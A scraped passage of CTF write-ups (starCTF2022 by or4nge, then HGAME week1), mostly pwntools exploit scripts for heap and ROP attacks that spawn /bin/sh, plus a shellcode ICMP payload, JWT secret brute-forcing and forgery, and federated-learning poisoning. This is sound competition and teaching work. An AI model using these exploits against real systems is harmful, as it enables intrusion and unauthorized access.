p32(1) + p32(0x41) + p64(heap_base+0x10) + p64(0x2a0+0x120) write_view(0,0x118 ,payload1, 1) write_view(1, 0x118, p16(0x7)*0x10, 1) add_student(2) write_view(2,0x100, b\u0026#34;a\u0026#34;*0x20, 0) add_student(3) write_view(3,0x8, b\u0026#34;/bin/sh\\x00\u0026#34;, 0) free(2) change_role(1) change_id(1) menu(2) ru(\u0026#34;review:\u0026#34;) rv(0x3a1) libc.address = u64(p.recv(6).ljust(8, b\u0026#34;\\x00\u0026#34;)) - libc.sym[\u0026#34;__malloc_hook\u0026#34;] - 0x10 - 96 print(hex(libc.address)) change_role(0) payload2 = b\u0026#34;a\u0026#34;*0x18+p64(0x31) + p64(heap_base + 0x340) + p64(0)*4 + p64(0x21) + p32(1) + p32(0x41) + p64(libc.sym[\u0026#34;__free_hook\u0026#34;]) + p64(0x2a0+0x120) write_view(0,0x118, payload2, 1) write_view(1,0x118, p64(libc.sym[\u0026#34;system\u0026#34;]), 1) gdb.attach(p) # free(3) p.interactive() ping from scapy.all import * from pwn import * context.arch = \u0026#39;i386\u0026#39; res = b\u0026#39;\u0026#39; def pwn(num,idx): global res payload1 = asm(shellcraft.memcpy(0x10c2aa,0x350000+idx,1)) payload1 += asm(\u0026#39;\u0026#39;\u0026#39; mov eax, 0x0010014b jmp eax \u0026#39;\u0026#39;\u0026#39;) payload =p8(num)+ b\u0026#39;\\x90\u0026#39;*(484-1-len(payload1))+payload1 payload +=p32(0x10c280) + p32(0x0010c8ac)+p32(0x00000023)+p32(0x0010a6b4)+p32(0x0010a6b4)+p32(0x10c2aa+50)+p32(0x0010c8ac)+p32(0x00000212)+p32(0x0010c280)+p32(0x0010c878)+p32(0)+p32(0x00010000)+p32(0)+p32(0x00107974)+p32(0x00010000)+p32(0x2badb002)+p32(0)*5 b = IP(dst=\u0026#39;20.239.70.121\u0026#39;, len=596)/ICMP()/payload b = IP(raw(b)) checksum_scapy = b[ICMP].chksum b = IP(dst=\u0026#39;20.239.70.121\u0026#39;, len=596)/ICMP(chksum=checksum_scapy )/payload ping = sr1(b, timeout=0.5) if ping: res+=p8(num) print(res) return num return 0 for idx in range(6,24): for num in range(0x21,0x7f): print(num,idx) if pwn(num,idx): break print(res) Re Simple File System 输入plantflag可以植入flag文件的某种翻译方式到某个块里\n把所有可打印字符放进flag文件，就可以得到翻译的字典\n在image.flag文件里找*CTF翻译后的前缀，就有整个flag了\nJump 在sub_402689运行了 sub_4119F0(qword_4C9400, (__int64)\u0026quot;%c%s%c\u0026quot;, 2LL, (const char *)dword_4C9620, 3LL); 后下硬件断点，发现生成了以所有位置为起始的字符串。\n随后这些字符串传入 sub_401F62，进行快排。\n最后在 sub_402826 中以排序后的所有字符串的最后一位构成密文，并与目标比较\n因此可以得知target中每个字符的后一个字符是顺序排列的\ntarget = \u0026#39;\\x03jmGn_=uaSZLvN4wFxE6R+p\\x02D2qV1CBTck\u0026#39; sorttar = list(target) sorttar.sort() flag = [\u0026#39;\\x03\u0026#39;] for _ in range(0x21): c = flag[0] flag = [target[sorttar.index(c)]] + flag print (\u0026#39;\u0026#39;.join(flag[1:-1])) NaCl 一个 feistal 结构的8字节分组密码，一个 xtea 密码\n整体循环分为 4 次，每次处理 8 字节\n先进行密钥扩展，这一步每次都要进，但仅第一次执行\n随后进行 feistal 的加密，加密之后进行 xtea 加密，xtea的循环次数取决于大循环的次数\n解密脚本\nfrom libnum import * def xtea_decrypt(v, i): \u0026#39;\u0026#39;\u0026#39;v: list\u0026#39;\u0026#39;\u0026#39; key = [0x3020100, 0x7060504, 0xB0A0908, 0xF0E0D0C] v0, v1 = v delta = 0x10325476 sum=(delta * (1 \u0026lt;\u0026lt; i)) \u0026amp; 0xffffffff for _ in range(1 \u0026lt;\u0026lt; i): v1 -= (((v0 \u0026lt;\u0026lt; 4) ^ (v0 \u0026gt;\u0026gt; 5)) + v0) ^ (sum + key[(sum\u0026gt;\u0026gt;11) \u0026amp; 3]) v1 \u0026amp;= 0xffffffff sum -= delta sum \u0026amp;= 0xffffffff v0 -= (((v1 \u0026lt;\u0026lt; 4) ^ (v1 \u0026gt;\u0026gt; 5)) + v1) ^ (sum + key[sum \u0026amp; 3]) v0 \u0026amp;= 0xffffffff return [v0, v1] def rol(x, i): return ((x \u0026lt;\u0026lt; i) | (x \u0026gt;\u0026gt; (32 - i))) \u0026amp; 0xffffffff key = [ 0x4050607, 0x10203, 0x0C0D0E0F, 0x8090A0B, 0x0CD3FE81B, 0x0D7C45477, 0x9F3E9236, 0x107F187, 0x0F993CB81, 0x0BF74166C, 0x0DA198427, 0x1A05ABFF, 0x9307E5E4, 0x0CB8B0E45, 0x306DF7F5, 0x0AD300197, 0x0AA86B056, 0x449263BA, 0x3FA4401B, 0x1E41F917, 0x0C6CB1E7D, 0x18EB0D7A, 0x0D4EC4800, 0x0B486F92B, 0x8737F9F3, 0x765E3D25, 0x0DB3D3537, 0x0EE44552B, 0x11D0C94C, 0x9B605BCB, 0x903B98B3, 0x24C2EEA3, 0x896E10A2, 0x2247F0C0, 0x0B84E5CAA, 0x8D2C04F0, 0x3BC7842C, 0x1A50D606, 0x49A1917C, 0x7E1CB50C, 0x0FC27B826, 0x5FDDDFBC, 0x0DE0FC404, 0xB2B30907 ] cipher = [ 0xFDF5C266, 0x7A328286, 0xCE944004, 0x5DE08ADC, 0xA6E4BD0A, 0x16CAADDC, 0x13CD6F0C, 0x1A75D936, ] for i in range(0, 4): l, r = xtea_decrypt(cipher[2*i:2*i+2], i+1) for j in range(44): l, r = r, l l ^= (rol(r, 1) \u0026amp; rol(r, 8)) ^ rol(r, 2) ^ key[43 - j] l, r = r, l print (n2s(l).decode() + n2s(r).decode(), end=\u0026#39;\u0026#39;) Crypto ezRSA q的前124位能求出来，然后第300-900位可以通过移比特确定（看下面代码，思路跟zer0pts那个anti很像），最后300位直接copper\n不知道为啥，本地测试了一下，下面这个脚本只能爆出450-900位的，第300-450有点小问题，但是总共只有450bit不确定，还是能直接copper，直接就出了\nfrom Crypto.Util.number import long_to_bytes import gmpy2 n = 0xe78ab40c343d4985c1de167e80ba2657c7ee8c2e26d88e0026b68fe400224a3bd7e2a7103c3b01ea4d171f5cf68c8f00a64304630e07341cde0bc74ef5c88dcbb9822765df53182e3f57153b5f93ff857d496c6561c3ddbe0ce6ff64ba11d4edfc18a0350c3d0e1f8bd11b3560a111d3a3178ed4a28579c4f1e0dc17cb02c3ac38a66a230ba9a2f741f9168641c8ce28a3a8c33d523553864f014752a04737e555213f253a72f158893f80e631de2f55d1d0b2b654fc7fa4d5b3d95617e8253573967de68f6178f78bb7c4788a3a1e9778cbfc7c7fa8beffe24276b9ad85b11eed01b872b74cdc44959059c67c18b0b7a1d57512319a5e84a9a0735fa536f1b3 c = 0xd7f6c90512bc9494370c3955ff3136bb245a6d1095e43d8636f66f11db525f2063b14b2a4363a96e6eb1bea1e9b2cc62b0cae7659f18f2b8e41fca557281a1e859e8e6b35bd114655b6bf5e454753653309a794fa52ff2e79433ca4bbeb1ab9a78ec49f49ebee2636abd9dd9b80306ae1b87a86c8012211bda88e6e14c58805feb6721a01481d1a7031eb3333375a81858ff3b58d8837c188ffcb982a631e1a7a603b947a6984bd78516c71cfc737aaba479688d56df2c0952deaf496a4eb3f603a46a90efbe9e82a6aef8cfb23e5fcb938c9049b227b7f15c878bd99b61b6c56db7dfff43cd457429d5dcdb5fe314f1cdf317d0c5202bad6a9770076e9b25b1 hight_124 = int(bin(gmpy2.iroot(n, 2)[0])[2:][:124], 2) p = ((hight_124 \u0026lt;\u0026lt; 900) ^ (1\u0026lt;\u0026lt;900)-1) ^ ((1\u0026lt;\u0026lt;300)-1) q = (hight_124 \u0026lt;\u0026lt; 900) for i in range(898, 299, -1): cur = 1\u0026lt;\u0026lt;i if (p^cur) * (q^cur) \u0026lt; n: p ^= cur q ^= cur print(p \u0026gt;\u0026gt; 450) #Sage from sage.all import * n = 0xe78ab40c343d4985c1de167e80ba2657c7ee8c2e26d88e0026b68fe400224a3bd7e2a7103c3b01ea4d171f5cf68c8f00a64304630e07341cde0bc74ef5c88dcbb9822765df53182e3f57153b5f93ff857d496c6561c3ddbe0ce6ff64ba11d4edfc18a0350c3d0e1f8bd11b3560a111d3a3178ed4a28579c4f1e0dc17cb02c3ac38a66a230ba9a2f741f9168641c8ce28a3a8c33d523553864f014752a04737e555213f253a72f158893f80e631de2f55d1d0b2b654fc7fa4d5b3d95617e8253573967de68f6178f78bb7c4788a3a1e9778cbfc7c7fa8beffe24276b9ad85b11eed01b872b74cdc44959059c67c18b0b7a1d57512319a5e84a9a0735fa536f1b3 p4 = 58804727289972133098258523381187273579708165828871631637667339400276723145699294300854967408059394786721660574269169740095474486979958553835424583960343801193657276948482959 e = 65537 pbits = 1024 kbits = pbits - p4.nbits() print(p4.nbits()) p4 = p4 \u0026lt;\u0026lt; kbits PR.\u0026lt;x\u0026gt; = PolynomialRing(Zmod(n)) f = x + p4 roots = f.small_roots(X=2^kbits, beta=0.4) #经过以上一些函数处理后，n和p已经被转化为10进制 if roots: p = p4+int(roots[0]) print(\u0026#34;n: \u0026#34;+str(n)) print(\u0026#34;p: \u0026#34;+str(p)) print(\u0026#34;q: \u0026#34;+str(n//p)) Patches2 from pwn import * import hashlib C0 = \u0026#39;C0\u0026#39; C1 = \u0026#39;C1\u0026#39; C2 = \u0026#39;C2\u0026#39; C3 = \u0026#39;C3\u0026#39; C4 = \u0026#39;C4\u0026#39; C5 = \u0026#39;C5\u0026#39; C6 = \u0026#39;C6\u0026#39; def GFDiv(x, z): mod = 0 while x.bit_length() \u0026gt;= z.bit_length(): bitLack = x.bit_length() - z.bit_length() x = x ^ (z \u0026lt;\u0026lt; bitLack) mod = mod ^ (1 \u0026lt;\u0026lt; bitLack) return mod, x def GFMul(x, z): i = 0 res = 0 while z != 0: if z \u0026amp; 1: res = res ^ (x \u0026lt;\u0026lt; i) i += 1 z = (z \u0026gt;\u0026gt; 1) return res def xor(a, b): xor = \u0026#39;( ( %(a)s ) and ( ( %(b)s ) == 0 ) ) or ( ( %(b)s ) and ( ( %(a)s ) == 0 ) )\u0026#39; s = xor % {\u0026#39;a\u0026#39;: a, \u0026#39;b\u0026#39;: b} return s def xor3(a, b, c): temp = xor(a, b) return xor(temp, c) def xor4(a, b, c, d): temp = xor(a, b) temp2 = xor(c, d) return xor(temp, temp2) def f(n): if n == 1: return 0 else: return 1 BCHcode = [\u0026#34;\u0026#34; for i in range(15)] BCHcode[0] = C0 BCHcode[1] = C1 BCHcode[2] = C2 BCHcode[3] = C3 BCHcode[4] = xor(C0, C4) BCHcode[5] = xor(C1, C5) BCHcode[6] = xor3(C0, C2, C6) BCHcode[7] = xor3(C0, C1, C3) BCHcode[8] = xor4(C0, C1, C2, C4) BCHcode[9] = xor4(C1, C2, C3, C5) BCHcode[10] = xor4(C2, C3, C4, C6) BCHcode[11] = xor3(C3, C4, C5) BCHcode[12] = xor3(C4, C5, C6) BCHcode[13] = xor(C5, C6) BCHcode[14] = C6 context(os=\u0026#34;linux\u0026#34;,log_level=\u0026#39;debug\u0026#39;) p=remote(\u0026#34;124.71.145.24\u0026#34;,60002) p.recvuntil(\u0026#34;sha256(xxxx+\u0026#34;) leave=p.recv(16).decode() print(leave) p.recvuntil(\u0026#34;== \u0026#34;) sha256=p.recv(64).decode() print(sha256) pd=0 for i in range(32,127): for j in range(32,127): for k in range(32,127): for m in range(32,127): strings = chr(i) + chr(j) + chr(k) + chr(m) + leave s = hashlib.sha256() s.update(strings.encode()) b = s.hexdigest() if b == sha256: key=chr(i) + chr(j) + chr(k) + chr(m) print(key) pd=1 break if pd==1: break if pd==1: break if pd==1: break p.send(key) for la in range(50): bits = [0]*15 res=0 res2=0 for i in range(15): p.sendlineafter(\u0026#34;Ask Patches:\u0026#34;,BCHcode[i]) p.recvuntil(\u0026#34;Patches answers: \u0026#34;) recvbool=p.recv(1) if recvbool==b\u0026#39;T\u0026#39;: bits[i]=1 print(bits) for i in range(15): if bits[i]==1: res^=1\u0026lt;\u0026lt;i res2^=1\u0026lt;\u0026lt;(3*i) pd = 0 for i in range(16): for j in range(16): if i != 15: bits[i] = f(bits[i]) if j != 15: bits[j] = f(bits[j]) res = 0 res2 = 0 for k in range(15): if bits[k] == 1: res ^= 1 \u0026lt;\u0026lt; k res2 ^= 1 \u0026lt;\u0026lt; (3 * k) _, mod = GFDiv(res, 19) _, mod2 = GFDiv(res2, 4681) if mod == 0 and mod2 == 0: pd = 1 break else: if i != 15: bits[i] = f(bits[i]) if j != 15: bits[j] = f(bits[j]) if pd == 1: break res = 0 for i in range(15): if bits[i] == 1: res ^= 1 \u0026lt;\u0026lt; i C, _ = GFDiv(res, 465) print(bin(C)) pay = \u0026#34;\u0026#34; print(_) for i in range(7): pay += str(C % 2) + \u0026#34; \u0026#34; C //= 2 pay=pay.strip() p.sendlineafter(\u0026#34;Now open the chests:\u0026#34;,pay) p.interactive() Misc babyFL 联邦学习，我们能控制20个客户端，想办法用提交的参数数据污染掉服务端的训练过程让测试达到0.95精度即可，下面分别是exp、训练脚本\nimport numpy as np from pwn import * # context(log_level=\u0026#39;debug\u0026#39;) p = remote(\u0026#39;124.70.158.154\u0026#39;, 8081) def get_val(arr): if len(arr.shape) \u0026gt; 1: for temp in arr: get_val(temp) else: l = len(arr) for i in range(l): arr[i] = float(input()) res = np.load(\u0026#39;./save/final.npy\u0026#39;, allow_pickle=True) # for i in range(8): # mtx = res[i][0] * 1000 # try: # for j in mtx: idx = 0 mtx = res[0][0] * 1000 for i in mtx: for j in i: for k in j: for l in k: p.sendline(str(l).encode()) idx += 1 mtx = res[1][0] * 1000 for i in mtx: p.sendline(str(i).encode()) idx += 1 mtx = res[2][0] * 1000 for i in mtx: for j in i: for k in j: for l in k: p.sendline(str(l).encode()) idx += 1 mtx = res[3][0] * 1000 for i in mtx: p.sendline(str(i).encode()) idx += 1 mtx = res[4][0] * 1000 for i in mtx: for j in i: p.sendline(str(j).encode()) idx += 1 mtx = res[5][0] * 1000 for i in mtx: p.sendline(str(i).encode()) idx += 1 mtx = res[6][0] * 1000 for i in mtx: for j in i: p.sendline(str(j).encode()) idx += 1 mtx = res[7][0] * 1000 for i in mtx: p.sendline(str(i).encode()) idx += 1 print(idx) import os import traceback import numpy as np from tensorflow.keras import Sequential from tensorflow.keras.layers import Dense, Conv2D, Flatten, MaxPooling2D from tensorflow import keras from tensorflow.keras.models import load_model from tensorflow.keras.datasets import mnist participant_number = 20 def new_model(): model = Sequential() model.add(Conv2D(10, (3, 3), input_shape=(28, 28, 1))) model.add(MaxPooling2D(pool_size=(2, 2))) model.add(Conv2D(20, (3, 3))) model.add(Flatten()) model.add(Dense(units=100, activation=\u0026#39;relu\u0026#39;)) model.add(Dense(units=10, activation=\u0026#39;softmax\u0026#39;)) model.compile(loss=keras.losses.SparseCategoricalCrossentropy(), metrics=[\u0026#39;accuracy\u0026#39;], optimizer=keras.optimizers.Adam(lr=0.001)) return model def load_test_data(): (_, _), (x, y) = mnist.load_data() l = len(y) for i in range(l): y[i] = 9 - y[i] x = x.reshape(-1, 28, 28, 1) return x, y def train_models(): (x, y), (_, _) = mnist.load_data() x = x.reshape(-1, 28, 28, 1) for i in range(participant_number): model = new_model() model.fit(x, y, batch_size=64, epochs=10) model.save(\u0026#34;./model/\u0026#34;+str(i)) def aggregation(parameters): print(\u0026#39;aggregation\u0026#39;) weights = [] for layer in parameters: sum = 0 l = len(layer) for temp in layer: sum = sum + temp weights.append(sum / l) # weights.append(layer[2]) model = new_model() l = len(model.get_weights()) model.set_weights(weights) return model def test(model): print(\u0026#39;test\u0026#39;) my_x, my_y = load_test_data() loss, acc = model.evaluate(my_x, my_y, batch_size=64) print(loss, acc) if acc \u0026gt; 0.95: f = open(\u0026#39;./flag\u0026#39;) print(f.read()) else: print(\u0026#34;you fail\u0026#34;, acc) def load_parameters(): print(\u0026#39;load parameter\u0026#39;) parameters = [] models = [] for i in range(participant_number): models.append(load_model(\u0026#34;./inv_model/\u0026#34;+str(i))) for i in range(8): layer = [] for j in range(participant_number): temp = models[j].get_weights() layer.append(temp[i]) parameters.append(layer) return parameters def load_parameters1(): print(\u0026#39;load parameter1\u0026#39;) parameters = [] models = [] for i in range(participant_number): models.append(load_model(\u0026#34;./model/\u0026#34;+str(i))) for i in range(8): layer = [] for j in range(participant_number): temp = models[j].get_weights() layer.append(temp[i]) parameters.append(layer) return parameters def get_val(arr): if len(arr.shape) \u0026gt; 1: for temp in arr: get_val(temp) else: l = len(arr) for i in range(l): arr[i] = float(input()) def get_input_parameter(parameters): print(\u0026#39;get input parameter\u0026#39;) res = np.load(\u0026#39;./save/final.npy\u0026#39;, allow_pickle=True) i = 0 for layer in parameters: input_weight = np.zeros(layer[0].shape) print(\u0026#34;next layer:\u0026#34;) # get_val(input_weight) input_weight = res[i][0] * 1000 layer.append(input_weight) i += 1 return parameters # 8 * 20 * (3 * 3 * 1 * 10) if __name__ == \u0026#39;__main__\u0026#39;: parameters1 = load_parameters1() np.save(\u0026#39;./save/final\u0026#39;, parameters1) # model1 = aggregation(parameters1) # test(model1) # parameters2 = load_parameters() # np.save(\u0026#39;./save/final2\u0026#39;, parameters2) # model2 = aggregation(parameters2) # test(model2) # print(len(parameters)) # print(parameters) parameters = load_parameters() # np.save(\u0026#39;./save/final\u0026#39;, parameters) parameters = get_input_parameter(parameters) model = aggregation(parameters) test(model) Today 根据题目信息推测出在上海，通过一家农夫生鲜水果店，找到对面的小区，在地图评论区找到flag\n","date":"2022-04-18T15:03:17+08:00","image":"https://or4ngesec.github.io/post/starctf2022-writeup-by-or4nge/cover_hu1b2e905ab849912933a39ffac9637886_354329_120x120_fill_box_smart1_3.png","permalink":"https://or4ngesec.github.io/post/starctf2022-writeup-by-or4nge/","title":"starCTF2022 Writeup by or4nge"},{"content":"week1 [Web]Fujiwara Tofu Shop By SSGSS\n一个个改请求头就 ok\nGET / HTTP/1.1 Host: game.summ3r.top User-Agent: Hachi-Roku Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Gasoline: 100 Cookie: flavor=Raspberry; Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 Referer: qiumingshan.net X-Real-IP: 127.0.0.1 [Web]Tetris plus By SSGSS\n一个个翻 js，长度最长的那个用 js 运行一下就是 flag\n[Web]蛛蛛\u0026hellip;嘿嘿♥我的蛛蛛 By SSGSS\n爬虫题\nimport requests import re url = \u0026#39;https://hgame-spider.vidar.club/b7412bb0b0\u0026#39; now = \u0026#39;?key=M7H8z1oG%2B1SaPudvsDf7GEm%2F9hyalx2liQ6X2mBSz4iXDqmZwkyLTWPY02GWc5OZf%2F9zO73pRTg3XdoyjfgY3g%3D%3D\u0026#39; while True: r = requests.get(url + now) try: now = re.search(r\u0026#39;\\?key=.*?\u0026#34;\u0026#39;, r.text)[0][:-1] except: print(now) break 到最后一关查看 header 就有 flag\n[Web]easy_auth By SSGSS\n根据题目描述要 admin 登进去，阅读 app.js 代码发现是用 jwt 进行的身份认证，介于是 week1 的简单题，没必要想的那么复杂，先尝试把 algorithm 改成 None 后无效，那就爆弱口令密钥，网上找了个 top10000，脚本如下：\nimport jwt jwt_str = \u0026#39;eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJJRCI6MzUwLCJVc2VyTmFtZSI6ImFkbWluJyBvciAxMDAwMD0xMDAwMCMiLCJQaG9uZSI6IiIsIkVtYWlsIjoiIiwiZXhwIjoxNjQyNzMyMTQ1LCJpc3MiOiJNSmNsb3VkcyJ9._VVQjP4wTBYNes1cWiIaNTTidLwirfaFA9pnqsC-eQ8\u0026#39; fp = open(\u0026#39;弱口令top10000.txt\u0026#39;,\u0026#39;r\u0026#39;) for line in fp.readlines(): line = line.replace(\u0026#39;\\n\u0026#39;, \u0026#39;\u0026#39;) # print(line) try: jwt.decode(jwt_str, verify=True, key=line) print(line) print(len(line)) break except (jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError): print(line) break except jwt.exceptions.InvalidSignatureError: continue 爆出来密钥为空，所以伪造 jwt:\ndict = {\u0026#34;ID\u0026#34;:1,\u0026#34;UserName\u0026#34;:\u0026#34;admin\u0026#34;,\u0026#34;Phone\u0026#34;:\u0026#34;\u0026#34;,\u0026#34;Email\u0026#34;:\u0026#34;\u0026#34;,\u0026#34;exp\u0026#34;:1642732145,\u0026#34;iss\u0026#34;:\u0026#34;MJclouds\u0026#34;} print(jwt.encode(dict, \u0026#39;\u0026#39;, algorithm=\u0026#39;HS256\u0026#39;)) 然后到控制台里把 token 改了就能拿 flag 了。localStorage.setItem('token',value)\n[Pwn]gdb By triplewings\n触发 gets 漏洞，拿到 shell from pwn import * context(os=\u0026#39;linux\u0026#39;, arch=\u0026#39;amd64\u0026#39;, log_level=\u0026#39;debug\u0026#39;) # p = remote(\u0026#34;chuj.top\u0026#34;, 50684) p = process(\u0026#34;./a.out\u0026#34;) p.recvuntil(b\u0026#34;word\u0026#34;) payload = p64(0xb0361e0e8294f147) + p64(0x8c09e0c34ed8a6a9) p.send(payload) p.recvuntil(b\u0026#34;\\x7f\u0026#34;) p.recv(2) canary = u64(p.recv(8)) print(hex(canary)) p.send(b\u0026#34;a\u0026#34;*24 + p64(canary) + b\u0026#34;a\u0026#34;*8 + p64(0x401256)) p.interactive() [Pwn]enter_the_pwn_land By triplewings\nbaby rop，改 puts from pwn import * context(os=\u0026#39;linux\u0026#39;, arch=\u0026#39;amd64\u0026#39;, log_level=\u0026#39;debug\u0026#39;) p = process(\u0026#34;./a.out\u0026#34;) # p = remote(\u0026#34;chuj.top\u0026#34;, 31470) libc = ELF(\u0026#34;libc-2.31.so\u0026#34;) pop_rdi = 0x0000000000401313 pop_rsi_r15 = 0x0000000000401311 puts_got = 0x404020 puts_plt = 0x401090 payload = b\u0026#34;a\u0026#34;*44 + b\u0026#34;\\x2c\u0026#34; + b\u0026#34;\\x00\u0026#34;*3 + b\u0026#34;a\u0026#34;*8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(0x4011B6) + b\u0026#34;\\n\u0026#34; # gdb.attach(p, \u0026#34;b *0x4011B6\u0026#34;) p.send(payload) p.recvuntil(b\u0026#34;\\n\u0026#34;) libc.address = u64(p.recvuntil(\u0026#34;\\x7f\u0026#34;)[-6:].ljust(8, b\u0026#34;\\x00\u0026#34;)) - libc.sym[\u0026#34;puts\u0026#34;] print(hex(libc.address)) sh = libc.search(b\u0026#39;/bin/sh\u0026#39;).__next__() system = libc.sym[\u0026#39;execv\u0026#39;] payload2 = b\u0026#34;b\u0026#34;*44 + b\u0026#34;\\x2c\u0026#34; + b\u0026#34;\\x00\u0026#34;*3 + b\u0026#34;c\u0026#34;*8 + p64(pop_rsi_r15) + p64(0)*2 +p64(pop_rdi) + p64(sh) +p64(system) + b\u0026#34;\\n\u0026#34; p.send(payload2) p.interactive() [Pwn]enter_the_evil_pwn_land By triplewings\n利用多线程 canary 和 tls 离 stack 近的特点覆盖 canary from pwn import * context(os=\u0026#39;linux\u0026#39;, arch=\u0026#39;amd64\u0026#39;, log_level=\u0026#39;debug\u0026#39;) p = process(\u0026#34;./a.out\u0026#34;) # p = remote(\u0026#34;chuj.top\u0026#34;, 31470) libc = ELF(\u0026#34;libc-2.31.so\u0026#34;) pop_rdi = 0x0000000000401313 pop_rsi_r15 = 0x0000000000401311 puts_got = 0x404020 puts_plt = 0x401090 payload = b\u0026#34;a\u0026#34;*44 + b\u0026#34;\\x2c\u0026#34; + b\u0026#34;\\x00\u0026#34;*3 + b\u0026#34;a\u0026#34;*8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(0x4011B6) + b\u0026#34;\\n\u0026#34; # gdb.attach(p, \u0026#34;b *0x4011B6\u0026#34;) p.send(payload) p.recvuntil(b\u0026#34;\\n\u0026#34;) libc.address = u64(p.recvuntil(\u0026#34;\\x7f\u0026#34;)[-6:].ljust(8, b\u0026#34;\\x00\u0026#34;)) - libc.sym[\u0026#34;puts\u0026#34;] print(hex(libc.address)) sh = libc.search(b\u0026#39;/bin/sh\u0026#39;).__next__() system = libc.sym[\u0026#39;execv\u0026#39;] payload2 = b\u0026#34;b\u0026#34;*44 + b\u0026#34;\\x2c\u0026#34; + b\u0026#34;\\x00\u0026#34;*3 + b\u0026#34;c\u0026#34;*8 + p64(pop_rsi_r15) + p64(0)*2 +p64(pop_rdi) + p64(sh) +p64(system) + b\u0026#34;\\n\u0026#34; p.send(payload2) p.interactive() [Pwn]oldfashion_orw By triplewings\nban 了 openat，用 getsdent64 读取目录，然后正常 orw from pwn import * context(os=\u0026#39;linux\u0026#39;, arch=\u0026#39;amd64\u0026#39;, log_level=\u0026#39;debug\u0026#39;) p = process(\u0026#34;vuln\u0026#34;) p = remote(\u0026#34;chuj.top\u0026#34;, 41765) libc = ELF(\u0026#34;libc-2.31.so\u0026#34;) def proof(y): may = string.ascii_letters+string.digits for i in may: for j in may: for k in may: for l in may: res = i +j +k +l if hashlib.sha256((res).encode()).hexdigest() == y: p.sendline(res) return print(\u0026#39;Wrong!\u0026#39;) p.recvuntil(b\u0026#34; == \u0026#34;) a = p.recvuntil(b\u0026#34;\\n\u0026#34;)[:-1].decode() print(a) proof(a) p.recvuntil(\u0026#34;size?\u0026#34;) p.sendline(\u0026#34;-1\u0026#34;) p.recvuntil(\u0026#34;content?\u0026#34;) # gdb.attach(p, \u0026#34;b *0x401311\u0026#34;) pop_rdi = 0x0000000000401443 pop_rsi_r15 = 0x0000000000401441 write_got = 0x404018 write_plt = 0x401080 main = 0x401311 leave = 0x4013DB read_plt = 0x4010A0 bss = 0x404060 + 0x100 payload = b\u0026#34;a\u0026#34;*40 + p64(0xffffffffffffffff) + p64(bss) payload += p64(pop_rdi) + p64(0) + p64(pop_rsi_r15) + p64(bss) + p64(0) + p64(read_plt) + p64(main) p.send(payload) p.recvuntil(\u0026#34;done!\u0026#34;) payload2 = p32(main) + b\u0026#34;\\x00\u0026#34;*2 p.send(payload2) p.recvuntil(\u0026#34;size?\\n\u0026#34;) p.sendline(b\u0026#34;-1\u0026#34;) p.recvuntil(\u0026#34;content?\u0026#34;) payload = b\u0026#34;a\u0026#34;*40 + p64(0xffffffffffffffff) + p64(bss-0x8) payload += p64(pop_rsi_r15) + p64(write_got) + p64(0) + p64(write_plt) + p64(leave) + p64(main) p.send(payload) libc.address = u64(p.recvuntil(b\u0026#34;\\x7f\u0026#34;)[-6:].ljust(8, b\u0026#34;\\x00\u0026#34;)) - libc.sym[\u0026#34;write\u0026#34;] print(hex(libc.address)) p.recvuntil(\u0026#34;size?\u0026#34;) p.sendline(\u0026#34;-1\u0026#34;) p.recvuntil(\u0026#34;content?\u0026#34;) libc_pop_rax = 0x000000000004a550 libc_pop_rax_rdx_rbx = 0x0000000000162865 libc_pop_rdx_r12 = 0x000000000011c371 libc_pop_rcx = 0x000000000009f822 payload = b\u0026#34;./\u0026#34; + b\u0026#34;\\x00\u0026#34;*14 + b\u0026#34;a\u0026#34;*0x18 + p64(0xffffffffffffffff) + b\u0026#34;a\u0026#34;*8 payload += p64(libc.address + libc_pop_rax_rdx_rbx) + p64(2) + p64(0) + p64(0) + p64(pop_rdi) + p64(0x404130) + p64(pop_rsi_r15) + p64(0) + p64(0) + p64(libc.sym[\u0026#34;alarm\u0026#34;] + 9) payload += p64(pop_rdi) + p64(3) + p64(pop_rsi_r15) + p64(0x404280) + p64(0) payload += p64(libc_pop_rdx_r12 + libc.address) + p64(0x200) + p64(0) payload += p64(libc_pop_rcx + libc.address) +p64(0x404280 + 0x200) payload += p64(libc.sym[\u0026#34;getdents64\u0026#34;]) payload += p64(pop_rdi) + p64(1) + p64(pop_rsi_r15) + p64(0x404280) + p64(0) + p64(libc_pop_rdx_r12 + libc.address) + p64(0x200) + p64(0) + p64(libc.sym[\u0026#34;write\u0026#34;]) + p64(main) p.send(payload) p.recvuntil(b\u0026#34;done\u0026#34;) p.recvuntil(b\u0026#34;flag\u0026#34;) tail = p.recv(20) # tail = b\u0026#34;a74248296b5d7f3d2b01\u0026#34; p.recvuntil(\u0026#34;size?\u0026#34;) p.sendline(\u0026#34;-1\u0026#34;) p.recvuntil(\u0026#34;content?\u0026#34;) payload = b\u0026#34;./flag\u0026#34; + tail + b\u0026#34;\\x00\u0026#34;*6 + b\u0026#34;a\u0026#34;*8 + p64(0xffffffffffffffff) + b\u0026#34;a\u0026#34;*8 payload += p64(libc.address + libc_pop_rax_rdx_rbx) + p64(2) + p64(0) + p64(0) + p64(pop_rdi) + p64(0x404228) + p64(pop_rsi_r15) + p64(0) + p64(0) + p64(libc.sym[\u0026#34;alarm\u0026#34;] + 9) payload += p64(pop_rdi) + p64(4) + p64(pop_rsi_r15) + p64(bss- 0xc0) + p64(0) + p64(libc.address+libc_pop_rdx_r12) + p64(0x100) + p64(0) payload += p64(libc.sym[\u0026#34;read\u0026#34;]) payload += p64(pop_rdi) + p64(1) + p64(libc.sym[\u0026#34;write\u0026#34;]) p.sendline(payload) p.interactive() [RE]easyasm By hidden\n考察8086汇编。\n汇编编写，不能f5；加密较为简单；了解代码段、数据段的知识，看懂段寄存器的对应（其实猜也才出来了），看懂加密的核心逻辑即可。\nt=[0x91, 0x61, 0x01, 0xc1, 0x41, 0xa0, 0x60, 0x41, 0x01, 0x21, 0x14, 0xc, 0xe2, 0x54, 